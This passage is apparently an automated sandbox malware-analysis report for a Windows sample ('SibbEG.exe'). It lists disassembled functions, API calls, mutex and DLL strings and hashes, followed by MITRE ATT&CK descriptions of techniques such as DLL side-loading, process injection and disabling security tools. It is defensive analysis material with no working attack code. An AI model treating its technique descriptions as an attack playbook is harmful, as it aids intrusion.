Instruction Fuzzy Hash: 7C11D5B1940709DED7A0EF75D845B7ABBE0AF10320F10451AE699932A0CF74A644EF23

Function 00CF40A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00CF40AC

Part of subcall function 00CF2345: __getptd_noexit.LIBCMT ref: 00CF2348
Part of subcall function 00CF2345: __amsg_exit.LIBCMT ref: 00CF2355

__amsg_exit.LIBCMT ref: 00CF40CC
__lock.LIBCMT ref: 00CF40DC
InterlockedDecrement.KERNEL32(?), ref: 00CF40F9
InterlockedIncrement.KERNEL32(030D2AF0), ref: 00CF4124

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 31f2a3e1bfe563b031d0670b167640bcf4d7fdc21156f5ec063a87b7855cdf96
Instruction ID: 9530f89f714715e01eb1ff90a45fe02f1db1494ece27bb3f60f35fed5539b998
Opcode Fuzzy Hash: 31f2a3e1bfe563b031d0670b167640bcf4d7fdc21156f5ec063a87b7855cdf96
Instruction Fuzzy Hash: 6B01ED71901629EBCBA9AF25880637EB360BB00710F058015FB10A3291CF746A85EF93

Function 00CF35EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 00CF360C

Part of subcall function 00CF2AA0: __mtinitlocknum.LIBCMT ref: 00CF2AB6
Part of subcall function 00CF2AA0: __amsg_exit.LIBCMT ref: 00CF2AC2
Part of subcall function 00CF2AA0: EnterCriticalSection.KERNEL32(?,?,?,00CF5600,00000004,00CF9628,0000000C,00CF3746,?,?,00000000,00000000,00000000,?,00CF22F7,00000001), ref: 00CF2ACA

___sbh_find_block.LIBCMT ref: 00CF3617
___sbh_free_block.LIBCMT ref: 00CF3626
HeapFree.KERNEL32(00000000,?,00CF9568,0000000C,00CF2A81,00000000,00CF94C8,0000000C,00CF2ABB,?,?,?,00CF5600,00000004,00CF9628,0000000C), ref: 00CF3656
GetLastError.KERNEL32(?,00CF5600,00000004,00CF9628,0000000C,00CF3746,?,?,00000000,00000000,00000000,?,00CF22F7,00000001,00000214), ref: 00CF3667

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: c8a6e765a460be7bb3f67d82c0ba183bd759772882f15319af81b02e1207b2aa
Instruction ID: 77c7741a29b2aeb63f2e1e8087171fd4646a86d1cde777d7bb3bfdb989fedfeb
Opcode Fuzzy Hash: c8a6e765a460be7bb3f67d82c0ba183bd759772882f15319af81b02e1207b2aa
Instruction Fuzzy Hash: 9D018B3190430DBADFA46B719C0ABBE3A64BF00720F604009F210E6291CF348B80EA6B

Function 00CF3E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00CF3E10

Part of subcall function 00CF2345: __getptd_noexit.LIBCMT ref: 00CF2348
Part of subcall function 00CF2345: __amsg_exit.LIBCMT ref: 00CF2355

__getptd.LIBCMT ref: 00CF3E27
__amsg_exit.LIBCMT ref: 00CF3E35
__lock.LIBCMT ref: 00CF3E45

Memory Dump Source

Source File: 00000028.00000002.2457872294.0000000000CF1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00CF0000, based on PE: true

Associated: 00000028.00000002.2457841197.0000000000CF0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457899867.0000000000CF8000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457923544.0000000000CFA000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000028.00000002.2457945525.0000000000CFC000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_cf0000_s87cvg4.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 34935ab4ae9e0efe6c85e5fc3d27b9822701f42fb585d3580447d316e4fd0bd4
Instruction ID: 351046de9dff907a0db171e0a9f8280a2da51de839035373c00de2e18762dfc3
Opcode Fuzzy Hash: 34935ab4ae9e0efe6c85e5fc3d27b9822701f42fb585d3580447d316e4fd0bd4
Instruction Fuzzy Hash: C5F09A72A0030DABD7E1BB74840677D72A0AF58B20F104159E795AB2E2CB749B01EF63

Analysis Process: SibbEG.exePID: 1312, Parent PID: 7784COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1048
Total number of Limit Nodes:	29

Executed Functions

Function 00611000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00611006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00611013
GetLastError.KERNEL32 ref: 0061101F
GetCommandLineW.KERNEL32(?), ref: 00611040
CommandLineToArgvW.SHELL32(00000000), ref: 00611047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00611061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00611073
LoadLibraryW.KERNELBASE(?), ref: 00611085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00611097
FreeLibrary.KERNELBASE(00000000), ref: 006110A4
CloseHandle.KERNELBASE(00000000), ref: 006110AB
CoUninitialize.COMBASE ref: 006110B1
LocalFree.KERNEL32(00000000), ref: 006110BC

Strings

Global\IEToolbarUninstaller, xrefs: 0061100C
tbcore3U.dll, xrefs: 0061106E, 00611079
tbcore3.dll, xrefs: 0061105C, 00611067
MyUnregisterServer, xrefs: 00611091

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 5cc13d8a3a7e751bad3ff03886e8b58b7180951633b39a4b8ae71541f1836ce6
Instruction ID: 38f7c657010561d52551511f89081a761731b4a81e096a3e56256d0b3972830c
Opcode Fuzzy Hash: 5cc13d8a3a7e751bad3ff03886e8b58b7180951633b39a4b8ae71541f1836ce6
Instruction Fuzzy Hash: CC11E432A05259AF83209B60AC48ADF376BAB4E75370D852AF642D7150CF61C9C5C6B2

Function 00611465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 0061146D

Part of subcall function 0061143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00611472,?,?,006154EE,000000FF,0000001E,?,006136FC,?,00000001,?,?,00612A2A,00000018), ref: 00611444
Part of subcall function 0061143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00611454

ExitProcess.KERNEL32 ref: 00611476

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 62fcb5a899b676bbde78b9d3a2eeba2fbba77367ee405f865329c1cb52149e99
Instruction ID: 2115897da7731ed7b2a831ec7803b000c7ce5cb7be61e323338a149a1ca9a610
Opcode Fuzzy Hash: 62fcb5a899b676bbde78b9d3a2eeba2fbba77367ee405f865329c1cb52149e99
Instruction Fuzzy Hash: 2AB0923100020CBFDB026F12DC0A88D3F6BFB817A1B68C025F9084A031DF72AD929A94

Function 0061261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00612630

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 8893232f9239804af49b4e18f26e20f0481c15196d87b56700caec734fd12149
Instruction ID: 4350651e24e6271a900c8b5ca612300591a3e250afe604bb390133dc26f1d5e5
Opcode Fuzzy Hash: 8893232f9239804af49b4e18f26e20f0481c15196d87b56700caec734fd12149
Instruction Fuzzy Hash: 9FD05E32A543499EDB005F717C187A23BDDD384395F18E436B90CC6290E670C5908A44

Function 00611681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 0061168D

Part of subcall function 00611555: __lock.LIBCMT ref: 00611563
Part of subcall function 00611555: __decode_pointer.LIBCMT ref: 0061159A
Part of subcall function 00611555: __decode_pointer.LIBCMT ref: 006115AF
Part of subcall function 00611555: __decode_pointer.LIBCMT ref: 006115D9
Part of subcall function 00611555: __decode_pointer.LIBCMT ref: 006115EF
Part of subcall function 00611555: __decode_pointer.LIBCMT ref: 006115FC
Part of subcall function 00611555: __initterm.LIBCMT ref: 0061162B
Part of subcall function 00611555: __initterm.LIBCMT ref: 0061163B

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: b039f75789252b2c15e5baddb77656b42e6a5ef43619bc53675422af8e1cf3d3
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 69B0927258020833DB602586AC03F463A0A87C1BA4F290020FA0C1D1E1A9A2A9A1808A

Non-executed Functions

Function 006110CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00611346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0061135B
UnhandledExceptionFilter.KERNEL32(0061816C), ref: 00611366
GetCurrentProcess.KERNEL32(C0000409), ref: 00611382
TerminateProcess.KERNEL32(00000000), ref: 00611389

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 7f97347e83ab44d1672df91431f6fc17fc5352f22106a8210c781992f1cab2e8
Instruction ID: 8fd070c514111fa3d06aca0768cc7e7168bc6d7ef4bc1d7f9ed8b28580428af1
Opcode Fuzzy Hash: 7f97347e83ab44d1672df91431f6fc17fc5352f22106a8210c781992f1cab2e8
Instruction Fuzzy Hash: D921DEB4902A449FC751DFA4FD456D43BB2BF08352B08A01BE50887B61EB745988CB46

Function 006121E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00619458,0000000C,00612320,00000000,00000000,?,0061174F,00000003,?,?,?,?,?,?,006110F6), ref: 006121F7
__crt_waiting_on_module_handle.LIBCMT ref: 00612202

Part of subcall function 006113E1: Sleep.KERNEL32(000003E8,00000000,?,00612148,KERNEL32.DLL,?,00612194,?,0061174F,00000003), ref: 006113ED
Part of subcall function 006113E1: GetModuleHandleW.KERNEL32(?,?,00612148,KERNEL32.DLL,?,00612194,?,0061174F,00000003,?,?,?,?,?,?,006110F6), ref: 006113F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0061222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0061223B
__lock.LIBCMT ref: 0061225D
InterlockedIncrement.KERNEL32(0061A4D8), ref: 0061226A
__lock.LIBCMT ref: 0061227E
___addlocaleref.LIBCMT ref: 0061229C

Strings

KERNEL32.DLL, xrefs: 006121F1, 006121F6, 00612201
EncodePointer, xrefs: 0061221F
DecodePointer, xrefs: 00612233

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 4b12c37a52c62685dde1df74f9a62c6069d395ce4086ca654e351dbe283bc784
Instruction ID: 0f0af24019beec8d6e09f4955e16334b6f032970375f763bf8df2815126f1aa8
Opcode Fuzzy Hash: 4b12c37a52c62685dde1df74f9a62c6069d395ce4086ca654e351dbe283bc784
Instruction Fuzzy Hash: 2D11DF709407029FE760AF75D855BCEBBE2AF14310F28851EE499933A0CB709A90CB29

Function 006140A0 Relevance: 7.5, APIs: 5, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 006140AC

Part of subcall function 00612345: __getptd_noexit.LIBCMT ref: 00612348
Part of subcall function 00612345: __amsg_exit.LIBCMT ref: 00612355

__amsg_exit.LIBCMT ref: 006140CC
__lock.LIBCMT ref: 006140DC
InterlockedDecrement.KERNEL32(?), ref: 006140F9
InterlockedIncrement.KERNEL32(017D2C68), ref: 00614124

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: c916b11078c8a8976d2a57129e6649c0f9a3d3b0ef5a0899552a52055e8f7d77
Instruction ID: cc51e5f83fc62bdb7cebde589eb059d63dbc346ef195b16b6a0fd285e07a60de
Opcode Fuzzy Hash: c916b11078c8a8976d2a57129e6649c0f9a3d3b0ef5a0899552a52055e8f7d77
Instruction Fuzzy Hash: 1301D631902612EBC761AF6598067ED7363BF14B21F1D800AE900A7791CF346DD1DBDA

Function 006135EE Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__lock.LIBCMT ref: 0061360C

Part of subcall function 00612AA0: __mtinitlocknum.LIBCMT ref: 00612AB6
Part of subcall function 00612AA0: __amsg_exit.LIBCMT ref: 00612AC2
Part of subcall function 00612AA0: EnterCriticalSection.KERNEL32(?,?,?,00615600,00000004,00619628,0000000C,00613746,?,?,00000000,00000000,00000000,?,006122F7,00000001), ref: 00612ACA

___sbh_find_block.LIBCMT ref: 00613617
___sbh_free_block.LIBCMT ref: 00613626
HeapFree.KERNEL32(00000000,?,00619568,0000000C,00612A81,00000000,006194C8,0000000C,00612ABB,?,?,?,00615600,00000004,00619628,0000000C), ref: 00613656
GetLastError.KERNEL32(?,00615600,00000004,00619628,0000000C,00613746,?,?,00000000,00000000,00000000,?,006122F7,00000001,00000214), ref: 00613667

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: b703f0e45e548d1a6ead6b51f9cbf64cc33a72238514eeee4a845c90320a21e7
Instruction ID: 162764f9c75cd3f8ef6ef41e44f111d78199c0759871f0e0912275d31adf023a
Opcode Fuzzy Hash: b703f0e45e548d1a6ead6b51f9cbf64cc33a72238514eeee4a845c90320a21e7
Instruction Fuzzy Hash: CE018B71804326AADB60AB719C16BCE3AA7AF10760F6C801DF001A73D1CE348AD0CADD

Function 00613E04 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__getptd.LIBCMT ref: 00613E10

Part of subcall function 00612345: __getptd_noexit.LIBCMT ref: 00612348
Part of subcall function 00612345: __amsg_exit.LIBCMT ref: 00612355

__getptd.LIBCMT ref: 00613E27
__amsg_exit.LIBCMT ref: 00613E35
__lock.LIBCMT ref: 00613E45

Memory Dump Source

Source File: 0000002C.00000002.2702610187.0000000000611000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00610000, based on PE: true

Associated: 0000002C.00000002.2702581104.0000000000610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702660951.0000000000618000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702742667.000000000061A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000002C.00000002.2702813775.000000000061C000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_610000_SibbEG.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 6afb2160090738e8812ce78a7d1e0ea1995f7904579bf0d6f83d929790eaa67b
Instruction ID: 997fc6bb9930db832f46102f2be302a6a9cfa2a44f7ddadfbe1653e93c5387c0
Opcode Fuzzy Hash: 6afb2160090738e8812ce78a7d1e0ea1995f7904579bf0d6f83d929790eaa67b
Instruction Fuzzy Hash: F0F090329003228BD7A0FBB494167CD73A3AF44B20F1C414EE452977E1CB749AD18B5A

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to lowest risk score due to lack of data" ] }
Date: unknown

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

